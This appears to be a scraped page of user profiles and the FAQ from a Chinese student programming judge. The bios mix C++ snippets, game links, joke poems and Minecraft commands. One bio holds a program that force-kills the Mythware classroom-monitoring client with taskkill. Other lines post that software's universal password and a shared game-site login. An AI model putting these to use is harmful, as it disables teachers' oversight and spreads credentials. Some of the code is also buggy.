穆宏斌 (爱琴海校区-穆宏斌)

UID: 4342, 注册于 2023-10-14 18:34:31, 最后登录于 2024-9-28 12:47:36, 目前离线.

解决了 15 道题目，RP: 71.35 (No. 1451)

♂

个人简介

``#include <bits/stdc++.h> using namespace std; char arr[100005]; char brr[100005]; char crr[100005]; int main(){ cin>>arr>>brr; int a=strlen(arr); int b=strlen(brr); for(int i=0;i<a/2;i++)swap(arr[i],arr[a-i-1]); for(int i=0;i<b/2;i++)swap(brr[i],brr[b-i-1]); for(int i=0;i<a;i++){ for(int j=0;j<b;j++){ crr[i+j]=(arr[i]-'0')*(brr[i]-'0'); crr[i+j+1]+=crr[i+j]/10; crr[i+j]%=10; } } int c=a+b; if(crr[c-1]==0)c--; for(int i=c-1;i>=0;i--)cout<<crr[i]; return 0; }

zh.y8.com

http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/http://geekprank.com/hacker/

`(makeblock.com)](https://mblockfile.makeblock.com/project/698755) Python 3.8.5 (tags/v3.8.5:580fbb0, Jul 20 2020, 15:57:54) [MSC v.1924 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license()" for more information.

import random lst = [] random.choice(lst)

我的世界error422暗网版下载-我的世界恐怖版本error422下载v1.0 java版-单机手游网 (danji100.com)

「POJ2083」Fractal 题解 (递归，分形) - AlienCollapsar - 博客园 (cnblogs.com)

敲电子木鱼-积累功德-自动功德机 (leixf.cn) (https://mblockfile.makeblock.com/project/698755)

#include<bits/stdc++.h> using namespace std; int arr[100010]; int n; int a; int b; int main(){ cin>>n; for(int i=1;i<=n;i++){ cin>>arr[i]; } cin>>a>>b; for(int i=1;i<a;i++){ cout<<arr[i]<<" "; } cout<<endl; for(int i=n;i>b;i--){ if(i%21){ cout<<arr[i]<<" "; } } cout<<endl; for(int i=a;i<=b;i++){ if(arr[i]%20){ cout<<arr[i]<<" "; } } return 0; }
首页
题库
训练
比赛
作业
讨论
更多
CQ04CPCOO23016
穆宏斌

jianxinming (蹇心明)

UID: 3218, 注册于 11 个月前, 最后登录于 2 小时前, 最后活动于 1 分钟前.

解决了 411 道题目，RP: 343.94 (No. 1)

个人简介
通过的题目
最近活动
最近编写的题解

猜下面是哪道题

#include<bits/stdc++.h>
using namespace std;
int main(){
	/*priority_*/queue<int> que,que2;
	int a,b,c;
	cin>>a>>b>>c;
	for(int i=1;i<=a;i++){
		que.push(i);
	}
	for(int i=1;i<=b;i++){
		que2.push(i);
	}
	for(int i=1;i<=c;i++){
	    cout<<que.front()<<" "<<que2.front()<<"\n";
		int n1=que.front(),n2=que2.front();
		que.pop();
		que.push(n1);
		que2.pop();
		que2.push(n2);
	}
}

Copy

色色 SUSU 极域网通用密码：mythware_super_password Staggering Beauty

Copy

gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg

Copy

用法：/give <玩家> <物品> [数据标签][数量]

这个指令可以自定义附魔。

自定义附魔即附魔等级可以超过普通附魔极限的附魔（最高32767），

首先看一段指令：/give @p minecraft:diamond_sword{Enchantments:[{id:"sharpness",lvl:32767s}]} 1

give：give指令

@p：最近的人，也可以填名字

minecraft:diamond_sword：钻石剑ID，1.8+的版本必须要用英文ID。1.18以下可以用数字ID：276

Enchantments：附魔的数据标签标头

id：魔咒ID

lvl：等级，这一项最高只能填32767、最低只能填-32767，否则无效

1：数量

附：

魔咒ID：

0-保护

1-火焰保护

2-摔落保护

3-爆炸保护

4-弹射物保护

5-水下呼吸

6-水下挖掘

7-荆棘

16-锋利

17-亡灵杀手

18-节肢杀手

19-击退

20-火焰附加

21-抢夺

32-效率

33-精准采集

34-耐久

35-时运

48-力量

49-冲击

50-火矢

51-无限

61-海之眷顾

62-饵钓

全套：

钻石剑：/give @p minecraft:diamond_sword{Enchantments:[{id:"sharpness",lvl:32767s},{id:"looting",lvl:32767s},{id:"sweeping",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s}]} 1

钻石镐：/give @p minecraft:diamond_pickaxe{Enchantments:[{id:"efficiency",lvl:32767s},{id:"fortune",lvl:32767s},{id:"unbreaking",lvl:32767s}]} 1

钻石锹:/give @p minecraft:diamond_shovel{Enchantments:[{id:"efficiency",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"fortune",lvl:32767s}]} 1

钻石斧：/give @p minecraft:diamond_axe{Enchantments:[{id:"efficiency",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"fortune",lvl:32767s},{id:"mending",lvl:32767s},{id:"sharpness",lvl:32767s},{id: "looting",lvl:32767s}]} 1

钻石头盔：/give @p minecraft:diamond_helmet{Enchantments:[{id:"fire_protection",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"thorns",lvl:32767s},{id:"respiration",lvl:32767s}]} 1

钻石胸甲：/give @p minecraft:diamond_chestplate{Enchantments:[{id:"blast_protection",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"thorns",lvl:32767s}]} 1

钻石护腿：/give @p minecraft:diamond_leggings{Enchantments:[{id:"projectile_protection",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"thorns",lvl:32767s}]} 1

钻石靴子:/give @p minecraft:diamond_boots{Enchantments:[{id:"protection",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"thorns",lvl:32767s}]} 1

弓：/give @p minecraft:bow{Enchantments:[{id:"power",lvl:32767s},{id:"infinity",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"flame",lvl:32767s}]} 1

盾：/give @p minecraft:shield{Enchantments:[{id:"protection",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"thorns",lvl:32767s}]} 1

三叉戟：/give @p minecraft:trident{Enchantments:[{id:"loyalty",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"sharpness",lvl:32767s},{id: "looting",lvl:32767s}]} 1

弩：/give @p minecraft:crossbow{Enchantments:[{id:"power",lvl:32767s},{id:"unbreaking",lvl:32767s},{id:"mending",elvl:32767s},{id:"flame",lvl:32767s},{id:"piercing",lvl:32767s},{id:"quick_charge",lvl:32767s}]} 1

钓鱼竿：/give @p minecraft:fishing_rod{Enchantments:[{id:"lure",lvl:5s},{id:"unbreaking",lvl:32767s},{id:"mending",lvl:32767s},{id:"luck_of_the_sea",lvl:32767s}]} 1

作者：三号蓝 https://www.bilibili.com/read/cv21183101 出处：bilibili

422原版下载：https://wwcd.lanzoum.com/in54L0iqrevc 密码：hubn 直接启动的（解压后食用）：https://wwcd.lanzoum.com/ibIur0iqrf6d

itch.io | 免费下载 - Epic游戏商城 (epicgames.com)

我的世界error422暗网版下载-我的世界恐怖版本error422下载v1.0 java版-单机手游网 (danji100.com)

4399通用账号：2423764051 密码：111111 chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

hmcl.huangyuhui.net 使用 | 小熊猫C++ (gitee.io)

https://ssxd.mediav.com/s? type=2&r=20&mv_ref=ntp.msn.cn&enup=CAABt+b3AAgAAgD35rcA&mvid=MjUwNjQzMDEzMTMyMzEwMDcwNzAwMjM&bid=177a386e73dd3ce3&price=AAAAAGS46jkAAAAAAAVltRYV7Ivo7iNpXko8SQ==&finfo=DAABCAABAAAAiggAAgAAAOcEAAM/Q4aWrIakAAAIAAIAAAADCgADL0uzRpmn1esIAAQAAADnBgAGGokGAAoAAAgADgAAAH8KAA8AAAAAABUOoAoAEAAAAAAAFQ6gCAASAAAAigA&ugi=Fby8mAEVsLV5TBUCFSoVKhUAABWYv9eSAiXIARaAgaK/0rmABhwW0Y2QwOipvc1fFQAAJe/0+5wJEgA&uai=FdSp5QIlAhUCFq6yq5TC/8vLXhXyCCWA4tytBxQUFQAVGhQAHBb9kbOVybP4wI8BFQAAAA&ubi=FbSxPhXo38cDFdrm2xwVyP39YBUGFRwWuO+OwBYWrrLqyd/R2cteNAIWoMCQgMASJQYVxovdxgcVngEVACQUFq3jlZXx26bgRRUAJZiLAhWiBhUMFQIXAAAAoHN0lr81UBgBADWUAgA&clickid=0&cpx=OFFSET_X&cpy=OFFSET_Y&cs=EVENT_TIME_START&ce=EVENT_TIME_END&adsw=ADSPACE_W&adsh=ADSPACE_H&ldtype=2&csign2=m6gbYQtnCOj=&url=https%3A%2F%2Fwww.code.91tw.net%2Fhtmlcode%2F81092.html%3Fsourceid%3D%7Bsource_id%7D https://ssxd.mediav.com/s?type=2&r=20&mv_ref=ntp.msn.cn&enup=CAABt+b3AAgAAgD35rcA&mvid=MjUwNjQzMDEzMTMyMzEwMDcwNzAwMjM&bid=177a386e73dd3ce3&price=AAAAAGS46jkAAAAAAAVltRYV7Ivo7iNpXko8SQ==&finfo=DAABCAABAAAAiggAAgAAAOcEAAM/Q4aWrIakAAAIAAIAAAADCgADL0uzRpmn1esIAAQAAADnBgAGGokGAAoAAAgADgAAAH8KAA8AAAAAABUOoAoAEAAAAAAAFQ6gCAASAAAAigA&ugi=Fby8mAEVsLV5TBUCFSoVKhUAABWYv9eSAiXIARaAgaK/0rmABhwW0Y2QwOipvc1fFQAAJe/0+5wJEgA&uai=FdSp5QIlAhUCFq6yq5TC/8vLXhXyCCWA4tytBxQUFQAVGhQAHBb9kbOVybP4wI8BFQAAAA&ubi=FbSxPhXo38cDFdrm2xwVyP39YBUGFRwWuO+OwBYWrrLqyd/R2cteNAIWoMCQgMASJQYVxovdxgcVngEVACQUFq3jlZXx26bgRRUAJZiLAhWiBhUMFQIXAAAAoHN0lr81UBgBADWUAgA&clickid=0&cpx=__OFFSET_X__&cpy=__OFFSET_Y__&cs=__EVENT_TIME_START__&ce=__EVENT_TIME_END__&adsw=__ADSPACE_W__&adsh=__ADSPACE_H__&ldtype=2&csign2=m6gbYQtnCOj=&url=https%3A%2F%2Fwww.code.91tw.net%2Fhtmlcode%2F81092.html%3Fsourceid%3D{source_id}

https://gulper.io/

(https://www.msn.cn/zh-cn/play/arcade?) 在浏览器中玩游戏 | Microsoft Start 中的游戏 (msn.cn)

《小码君の语录》人类最大的敌人是BUG，其次是oj。生而AC，我很抱歉。小时候，我妈说我的手指长，将来能当钢琴家，然后我成了码农。人生真是讽刺，我竟然可以AC？你说过等我的...... AC，WA，往往只在一字之间。 xmw天生就舍弃了oj的意义！我要AC，哪怕赌上我的一切。退后，你们这些无知的WA！你不会就这样死的，我的AC！纵使黑云蔽日，我也要燃烧天空，带BUG进入地狱。我战斗到了最后一刻！键盘修好之日，码王归来之时

舞鸳鸯之形影兮，歌凤凰之涅槃。 Backrooms - Search for keys — 网上免费玩 Yandex Games

~6gufff~懒懒的小萌 喵喵喵 ~❤️ 初音~ ``` #### [齉龘龘靐齉齾爩麤龗灪龖厵爨癵驫麣纞虋https://go.microsoft.com/fwlink/? linkid=2168605]5jFh0NHZ96Mji&wd=&eqid=bd41132e0000656f00000006645f497a)printf("OOOOO\n"); #### dad /#include #include <windows.h> using namespace std; int main() { system("taskkill /im studentmain.exe /f"); return 0; } https://lewan.baidu.com/lewanold?gameName=地铁逃生&type=15&gameType=15&gameId=164096575397752832 对于讨厌的人不要想改变他，远离他才是上策。あなたは敵だけど悪くない。一瓶250ml的吊水，一共是3111滴。不肯迈出第一步的人永远学不会走路，也无法体会奔跑的喜悦！ https://playhop.com/ backrooms-wiki-cn.wikidot.com

scp-wiki-cn.wikidot.com 连点器：鼠标自动点击器-连点器软件电脑版下载-极速鼠标连点器 (jisudianji.com) ikun专属“小游戏” 猫咪桌宠：http://www.ddooo.com/softdown/190036.htm 上网址自己下。电脑个性化：https://zhutix.com/ 上网址自己下。 Infinite Pizza - 🔽 Free Download | Rocky Bytes无限披萨网址自己下 https://gulper.io/

坤坤跳跳乐 http://jlh.125ks.cn/cxk/dinogame/

坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/

坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/

爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/

坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/

坤坤打飞机 http://jlh.125ks.cn/cxk/ 我兄弟的情书💌

https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fpic2.zhimg.com%2Fv2-2ee6c3530ee59861e683cae436fa27c5_b.jpg&refer=http%3A%2F%2Fpic2.zhimg.com&app=2002&size=f9999,10000&q=a80&n=0&g=0n&fmt=jpeg?sec=1644995765&t=53642b293da86d935fb320cd1fb4bb56

Welcome to __ __ __ / / / /_ ******/ /**__ / // / / / / __ / / __ \ / __ / /*/ / /*/ / / / // /// //_, /_,/*/ _***/ /**__/Backrooms游戏 - 在Y8.com在线玩

Backrooms游戏 - 在Y8.com在线玩

1.日照香炉生紫烟，李白来到太平间。头朝地脚朝天，带着微笑上西天。

2.床前明月光，小偷爬进窗。打开保险箱，钞票一张张。

3.春眠不觉晓，处处蚊子咬。夜来香港脚，臭的不得了。

4.朝辞白帝彩云间，某人坐在小河边。小李飞刀一瞬间，某人变成小太监。

5.锄禾日当午，地雷埋下土。你娃挖地雷，变成二百五。

6.日照香炉生紫烟，李白走进烤鸭店，口水流下三千尺，一摸兜里没有钱。

7.墙角数枝梅，不知你爱谁。如果你不说，就是你同桌。

8.春眠不觉晓，处处蚊子咬。夜来大狗熊，谁也跑不了。

9.李白乘舟不给钱，渔夫一脚踢下船。桃花潭水深千尺，不知李白死没死。

10.床前明月光，李白爬上窗。遇见X光，头发变光光。

11.少小离家胖了回，乡音无改肉成堆。儿童相见不相识，笑问胖子你是谁。

12.远上香山石径斜，白云深处我和她。原想王子见公主，实是恐龙见青蛙。

13.大千网络绿映红，聊天见面心见空。见面四百八十次，多少恐龙在其中。

14.北理朝雨浥清晨，满腹失望伤透心。劝君在莫找网友，明日出家奔少林。

15.春眠不洗脚，处处蚊子咬。夜来鬼敲门，吓死乡巴佬。

16.垂死病中惊坐起，小丑竟是我自己。

17.巴山楚水凄凉地，Responsibility。

18.劝君更尽一杯酒，你说我丑那我走？

19.四面边声连角起，牛马竟是我自己。

20.两岸猿声啼不住，欢迎来到对抗路。

21.先帝创业未办，蹦迪花光预算。

22.宝剑锋从磨砺出，得来全不费工夫。

23.乾坤未定，你我皆是牛马。

24.老骥伏枥，志在千里，横扫饥饿，做回自己。

25.如果巅峰留不住，那就进厂包吃包住。如果志同道合，那就流水线回合。有福就同享，有难就进厂，厂里包吃包住，大风大浪挺得住

26.李白上山去拉屎，忽然想起忘带纸。勇敢伸出大拇指，扣扣屁股全是屎。

新《满江红》怒发冲冠，凭栏处、潇潇雨歇。抬望眼，满天UKE，怒火激烈。三十WA尘与土，八千RE云和月。莫抄袭，没了AC记录，空悲切！ CE耻，犹未雪。WA恨，何时灭！驾PC，踏破题目列表。闭眼不会Hello world，笑谈不懂头文件。待从头、收拾A+B，还不会。

《将进酒》程序版君不见，OJ之题天上来，复杂到海不舍回。君不见，高堂明镜悲白发，朝如青丝暮成雪。人生重在写算法，莫使AC空对题。天生OJ必有用，千方百计还CE。 AC一点且为乐，会须一刷三百WA。吾团友，牛大佬，将刷题，手莫停！！！

全科不及格，老妈动真格。

《毒品》

试卷，一种新型毒品

多呈白色，常见于学校

现已使无数学校上瘾，丧心病狂

使无数学霸沉迷其中，无法自拔

使无数学渣失眠多梦，头晕眼花

它破坏了多少个家庭的和谐

为了它能使一个考生跳楼自杀

又在毒害着多少人的精神世界……

远离试卷，从娃娃抓起

杜绝试卷，从我做起

没有买卖，就没有杀害

人生自古谁无死早死晚死都得死那还不如现在死

锄禾日当午地雷埋下土你娃挖地雷变成二百五

日照香炉生紫烟李白来到太平间头朝地脚朝天带着微笑上西天

垂死病中惊坐起小丑竟是我自己

各科老师被困在电梯里的反应：

语文老师正在写《困在电梯中的思考》。

数学老师开始计算电梯的长宽高。

英语老师开始说起电梯英语单词。

物理老师在计算说几小时空气会呼吸完。

化学老师在检查这个电梯的材质。

生物老师在考虑他们需要的物质，比如氧气。

地理老师在计算纬度叫人来救她们。

历史老师开始感慨并回忆之前发生过的类似的事情。

政治老师准备告物业。

体育老师默默无闻走向电梯门口，一脚把门踹开说了句我们走吧！事实证明体育才是主科！

分工明确

班长说：走，我们去炸核弹基地。

副班长说：这个主意不错。

化学课代表负责提取氢气。

物理课代表负责拼装氢弹。

数学课代表负责计算爆破面积。

地理课代表负责策划爆破地点。

信息课代表负责编写氢弹程序。

历史课代表负责记录光辉场面。

美术课代表负责描画壮观景致。

生物课代表负责事后生态环境。

英语课代表到外国购买进口材料。

政治课代表负责使用法律打官司。

语文课代表负责乱写文章推卸责任。

MiKu MiKu MiKu MiKu MiKuMiKu

摸鱼人的小仓库

http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场

ev.io 枪战游戏 https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战

评测状态

Waiting 评测：评测请求正在等待被评测机抓取
Fetched 评测：评测请求已被评测机抓取，正在准备开始评测
Compiling 评测：正在编译中
Judging 评测：编译成功，正在评测中
Accepted 通过：程序输出完全正确
Wrong Answer 不通过：程序输出与标准答案不一致（不包括行末空格以及文件末空行）
Time Limit Exceeded 不通过：程序运行时间超过了题目限制
Memory Limit Exceeded 不通过：程序运行内存空间超过了题目限制
Runtime Error 不通过：程序运行时错误（如数组越界、被零除、运算溢出、栈溢出、无效指针等）
Compile Error 不通过：编译失败
System Error 错误：系统错误（如果您遇到此问题，请及时在讨论区进行反馈）
Canceled 其他：评测被取消
Unknown Error 其他：未知错误
Ignored 其他：被忽略

有“成绩取消”字样则说明管理员手动标记此记录为取消，可能违反了服务条款，比如代码被发现与其他用户的代码十分相似。

编译错误

可能有以下情况：

递交时选错了编程语言

Java 的主类名没有使用 "Main"

对于 C/C++：见下

一般性的编译错误

对 C/C++ 选手的特别提醒：

__int64 在 GNU C++ 中应写成 long long 类型

main() 返回值必须定义为 int ，而不是 void

for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效

itoa 不是一个通用 ANSI 函数（标准 C/C++ 中无此函数）

printf 中使用 %lf 格式是不正确的

训练

我们精心挑选了一些题目组成了训练计划。单击导航栏的“训练”即可进入！

比赛

按照赛制不同，有不同的递交、排名规则。

OI 赛制所有题目均以最后一次递交为准，特别地，请避免编译错误。

OI 赛制排名规则为：总分高的排在前面，总分相等则排名相同。

ACM/ICPC 赛制所有题目递交后立即评测，以是否通过为准。

ACM/ICPC 赛制排名规则为：通过题目数多的排在前面，通过题目数相同的做题耗时（含罚时）少的排在前。

乐多赛制下，选手可以多次提交一道题目，并获得实时评测结果。

乐多赛制下，多次提交会导致选手的得分被扣除，排行榜将显示用户的最高得分。

乐多赛制下，每道题的最终得分为： �×max⁡(0.95�,0.7)s×max(0.95n,0.7) 。�,�s,n 分别代表本次得分和本次提交前的尝试次数。

乐多排名规则为：按照如上规则折算后的分数从高到低排名。

IOI(严格) 赛制下，不同于IOI赛制，排行榜将被关闭至比赛结束。

IOI(严格) 赛制下，每道题的排行榜得分将为用户每个子任务在所有提交中的最大得分的和。

时间与空间限制以题目说明为准，默认限制参见限制。

通过率

通过率的影响极其恶劣，XMW OJ 不提供也不承认通过率。

RP 算法

RP 可由题目，活动，比赛等获得。

难度算法

XMW OJ 中题目的难度，根据递交数、通过率以及每个递交的递交时间和评测结果，通过算法计算得出。

因此，请注意以下几点：

1. 一般地，难度的数值越大，该题目越难。
1. 新题目的难度可能不准确；在题目获得大量递交之后，难度才会变得较为准确。
1. 越早递交评测的用户代码的评测结果对题目难度影响越大。
1. 题目的难度由算法计算得出，有可能出现不准确的结果。

测试数据集格式

详见配置文档

忘记密码和/或用户名

如果您无法登录，请仔细想想，是不是用户名记错了。比如，自己原本想要注册的用户名已经被注册，所以使用了一个带有前和/或后缀的用户名。

如果您确信您的账号被盗或者忘记了账号和/或密码，请及时重置密码或找回用户名。

Markdown

Hydro 的 Markdown 区域使用 CommonMark 语法，并扩展了以下功能：

基于 Katex 语法的数学公式支持。
使用 @[](/user/uid) 提及用户。
使用 ==text== 高亮文本。
使用 ![alt](url =100x100) 设置嵌入图片的大小。
使用 @[video](https://.../a.mp4) 嵌入视频文件。
使用 @[bilibili](BVxxx) 嵌入站外视频。
使用 @[pdf](https://.../a.pdf) 嵌入 PDF 文件。
在题目/比赛/作业/训练中，可使用 file://文件名 的链接格式引用对应的附件。（推荐）
支持使用一部分 HTML 标签。

flag = false;
for(int i=0;i<n-1-k;i++){
	if(a[i]>a[i+1])
	{
		int t=a[i];
		a[i]=a[i+1];
		a[i+1]=t;
		flag=true;
 	}
if(flag == false ) break;

Copy

} } for(int i=0;i<n;++i){ cout<<a[i]<<" "; } }

#include <stdio.h>

#include <conio.h>

#include <windows.h>

#include <time.h>

#define Height 31

#define Width 25

#define Wall 1

#define Road 0

#define Start 2

#define End 3

#define Esc 5

#define Up 1

#define Down 2

#define Left 3

#define Right 4 Gravatar

限制

XMW OJ 评测机使用进程的CPU时间计算时间消耗，时间的限定为题目中评测点所指定的时间。

XMW OJ 评测机使用进程虚拟内存与物理内存总和计算内存空间消耗。内存空间默认限定为256MiB，题目中特别指明的，限定为题目中评测点所指定的内存空间。

输入输出

若无特殊说明，XMW OJ 使用标准输入输出（控制台输入输出，屏幕输入输出，STD I/O）。

Minecraft

ID: 805传统题1000ms256MiB尝试: 0 已通过: 0难度: (无)上传者:图书管理员标签>

题目描述

Minecraft是一个几乎无所不能的沙盒游戏，玩家可以利用游戏内的各种资源进行创造，搭建自己的世界。

在Minecraft中，基本的建筑元素是边长为1个单位的立方体，Tony想用N个这种小立方体搭建一个长方体，并用他珍藏已久的贴纸对其进行装饰。如果一张贴纸可以贴满小立方体的一个面。那么，他需要用掉多少张贴纸呢？

输入格式

一个整数N，表示小明所拥有的小立方体的个数。N不会超过1000。

输出格式

一个整数，即小明最少用掉的贴纸有多少张。

样例

输入样例

Copy

输出样例

Copy

数据范围与提示

start http://geekprank.com/hacker/ 《我的世界》是一款带有生存冒险元素的建造类游戏，为了在游戏里生存和发展，玩家需要通过伐木、挖矿、捕猎等方式获取资源，并通过合成系统打造武器和工具。随着游戏的进行，玩家自立更生，逐渐建造出一个自己的家园。

《Minecraft我的世界》操作相当简单。具体如下(可在设定里自定义)：

鼠标左键 - 攻击/使用工具

鼠标右键 - 打开箱子/放置物品

W - 前进

S - 后退

A - 左平移

D - 右平移

空格 - 跳跃

左Shift - 潜行

Q - 丢弃物品

I - 打开物品栏

T - 聊天

F - 雾化范围

F5 - 切换第一/第三人称

F11 - 切换全屏

/ascend (提升到一个平台）

/bind<命令>（设置命令快捷键）

/blockdata（修改某个方块的数据标签）

/backup（运行备份）

/ban（添加一个玩家到黑名单）

/ban-ip（添加一个ip到黑名单）

/banlist（显示你的黑名单）

/butcher（杀死附近所有的怪物）

C） /clear（清空背包）

/clone（将某个方块复制到某个位置）

D /daylock（开启或关闭日夜循环）

/difficulty（设置游戏难度，0和平，1简单，2普通，3困难）

/damage（开启或关闭伤害）

/descend（下降到一个平台）

/dupe [all]（复制物品）

/destroy [all]（破坏背包里的物品）

/defuse [all]（拆掉点燃了的TNT）

/drops（开启或关闭物品掉落）

/duplicate [all]（复制当前手中物品并丢出）

/deop（将某个玩家的管理员身份撤销）

E /explode [范围]（使指定范围产生爆炸）

/effect（获得或移除某效果）

/ext [all]（熄灭周围的火焰）

/enchant（附魔某个玩家的某个物品）

F /fly（飞行）

/freeze（冻结所有怪物）

/fill（用某种方块填满某块区域）

/forestgen（在身旁形成森林）

/falldamage（高空掉落是否造成伤害）

G /give（玩家）<物品> [数量] （给某个玩家某种数量的某种物品，给自己时则不需要输玩家名）

/goto<某地名>（直接去某个地方）

/gamemode（设置游戏模式）

/gamerule ture/false（开启或关闭某种游戏规则）

/gamerule pvp（开启或关闭玩家之间的伤害）

/gamerule doMobLoot（开启或关闭生物掉落物品）

/gamerule doMobSpawning（开启或关闭生物自然生成）

/gamerule doWeatherCycle（开启或关闭天气变化）

/gamerule keepInventory（开启或关闭死亡不掉落，你们最想要的东西）

/gamerule naturalRegeneration false（UHC，指超极限）

依次输入以下指令：/gamerule naturalRegeneration false /time set 18000 /gamerule doDaylightCycle false（永夜UHC，最难生存，能玩下来的都是鬼才）

/grow（生长达到满）

/help（命令帮助）

/heal（为某人补指定的血）

/health（设置血量）

/home（回到你的出生点）

I /i <物品代码> [数量]（给玩家指定数量的物品，物品代码大全下面会给）

/invsee（查看某人的背包）

/itemstack <物品代码> [数量]（同上）

/instantmine（即时挖矿）

/itemname（显示当前手上的物品名称）

J /jump（瞬移到光标所指处）

/kill（自杀）

/kick（将某位玩家踢出房间）

/killnpc [all]（杀掉周围所有的NPC）

L /lexburner（用爱发电&一方通行）

/light（开关光照）

/list（列出玩家列表）

/lingtning（超电磁炮）

/lingtning（雷击，若不输入名字则雷会劈到你的光标所指处）

/locate（寻找遗迹或村庄）

/listwaypoints（列出所有路径点）

/mute（将某人禁言）

/me（显示你自己的信息）

/msg <消息>（私聊）

/maxstack [物品ID|物品名称|全部] [数量]（最大堆叠物品）

/macro <文件名> {参数}（允许运行宏）

/mmoedit name skname rank（如果你安装了MCRPG插件，那么你可以使用这个命令改变某位玩家的某项技能级别）

N /nick ID（给某人改名）

/noclip（穿墙）

/op（给予某位玩家管理员身份）

/p（显示当前的坐标）

/pumpkins（在自己身旁形成南瓜林）

/pardon（从黑名单移除某位玩家或某个ip）

/pos（显示当前所有玩家的坐标）

/particle（制造颗粒效果）

/playsound（播放某个游戏音效）

/publish（对局域网开放单人世界）

Q 暂无

/reach（到指定的地方）

/replaceitem（替换物品栏中的物品）

/return（传送到上一次传送的地方）

/removedrops [all]（删掉地上的所有物品）

/rename（修改某命令的名称）

/rem（删除指定路点）

/repair [all]（当前手持物品耐久回满）

/reset（恢复所有默认设置）

S /surprise mother f**k

/stop（停止服务器运行）

/seen name（查看某位玩家最后退出的时间）

/search <关键词>（搜索某物品名）

/save-all（将服务器保存至硬盘中）

/save-off（禁用服务器自动保存）

/save-on（开启服务器自动保存）

/set <名字>（在这个世界标记一个路径点）

/say（向其他玩家显示一条信息）

/setjump [JUMP|reset]（设置跳跃的高度落地伤害和移动 1:1）

/setspawn [ X,Y,Z轴 ]（设置当前位置）

/scoreboard（管理玩家或队伍）

/seed（显示此世界种子）

/setspeed [速度|重置]（设置移动速度）

/spawn（产生某个生物）

/setblock（将一个方块变成另一个方块）

/setidletimeout（设置自动踢出挂机玩家的时间）

/spawnstack {NAME|ID|random}（产生一个合体的怪物NPC）

/setworldspawn（设置出生点）

/spawnpoint（设置某位玩家的出生点）

/summon（生成某个实体）

/snow（在自己附近生成下雪后的样子）

/stats（通过命令的返回改变计分板对象）

/tele（传送到某坐标）

/thaw（融化所有雪和冰块）

/title（设置屏幕标题）

/tp [玩家名]（传送到某玩家的位置）

/tp name1 name2（把玩家1传送到玩家2的位置）

/tphere（把某位玩家传送到自己的位置）

/tpall（将当前所有玩家传送到自己的位置）

/tell（向某玩家发起私聊）

/tellraw（向其他玩家显示一条JSON信息）

/timeschedule（设定一段时间，并且当前世界将永远保持着这段时间）

/testfor（计算特定条件的实体数）

/time（修改或查询当前世界时间）

/tree（生成一棵树）

/testforblock（探测某一个方块是否在某一个位置）

/testforblocks（探测某两个区域内的方块是否匹配）

/trigger（设置触发装置的激活状态）

U /up[高度]（将自己提升到某个高度）

/unbind（撤销某个命令）

/unlimited id（给自己某个物品【无限】）

/useportal（传送到下界）

V 暂无

W /wtf？

/weather（设置天气）

/waterdamage（开关水下伤害）

/world（当前世界信息）

/world load（加载指定的文件）

/world save（保存并退出）

/world exit（不保存并退出）

/world list（列出所有存档）

/whitelist（列出白名单）

/worldborder（管理世界边界）

X /xp（增加或移除某位玩家的经验值）

Y 暂无

Z 暂无

下面是物品代码（基本全是图片）

作者：空梦Sakura https://www.bilibili.com/read/cv5499397 出处：bilibili

我的世界里面，房子是个非常重要的东西，也是生存必须的物品，很多时候可以抵挡住怪物的侵袭，不过对于房子的功能性，玩家可以通过后期的发展来完善，下面是游戏中最简单的房子制作方法。

最简单房子制作方法

游侠网

一个普通的房子几分钟搞定。

下面是制作方法

[ 游侠网 ](file:///C:/Documents%20and%20Settings/Administrator/%E6%A1%8C%E9%9D%A2/%E4%B8%80%E9%94%AE%E6%8E%92%E7%89%88/lib/[object])

先建宽9格长10格。

游侠网

然后高4格，中间开两个洞放门。

游侠网

我的世界基本合成

名称	材料	合成示意图	描述
木板 Wooden Planks	原木 Wood		基本的建筑材料.
木棍 Sticks	木板 Wooden Planks		用来合成火把,弓箭,栅栏,木牌,工具和武器.
